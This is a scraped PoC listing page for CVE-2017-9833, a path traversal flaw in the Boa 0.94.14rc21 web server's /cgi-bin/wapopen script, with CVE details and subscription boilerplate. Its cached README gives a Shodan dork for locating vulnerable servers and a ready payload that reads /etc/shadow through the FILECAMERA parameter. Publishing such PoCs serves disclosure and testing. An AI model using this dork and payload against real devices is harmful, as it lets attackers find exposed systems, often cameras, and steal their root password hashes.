CVE-2017-9833 PoC — Boa 路径遍历漏洞

Source

https://github.com/anldori/CVE-2017-9833

Associated Vulnerability

Title:Boa 路径遍历漏洞 (CVE-2017-9833)
Description:/cgi-bin/wapopen in Boa 0.94.14rc21 allows the injection of "../.." using the FILECAMERA variable (sent by GET) to read files with root privileges. NOTE: multiple third parties report that this is a system-integrator issue (e.g., a vulnerability on one type of camera) because Boa does not include any wapopen program or any code to read a FILECAMERA variable.

Description

CVE-2017-9833 POC

Readme

# CVE-2017-9833

Reference: https://www.cvedetails.com/cve/CVE-2017-9833/

Shodan dork: ```product:"Boa Web Server" 0.94.14rc21```

Payload: ```/cgi-bin/wapopen/?FILECAMERA=../../etc/shadow```

POC:

![image](https://user-images.githubusercontent.com/101538840/203938194-d29427e9-f8fa-48bf-b909-7b1d16c688fd.png)

File Snapshot


 [4.0K]  /data/pocs/3c6a5d4c8a364cac824e5c8e1e02c502ec151d0e
└── [ 313]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!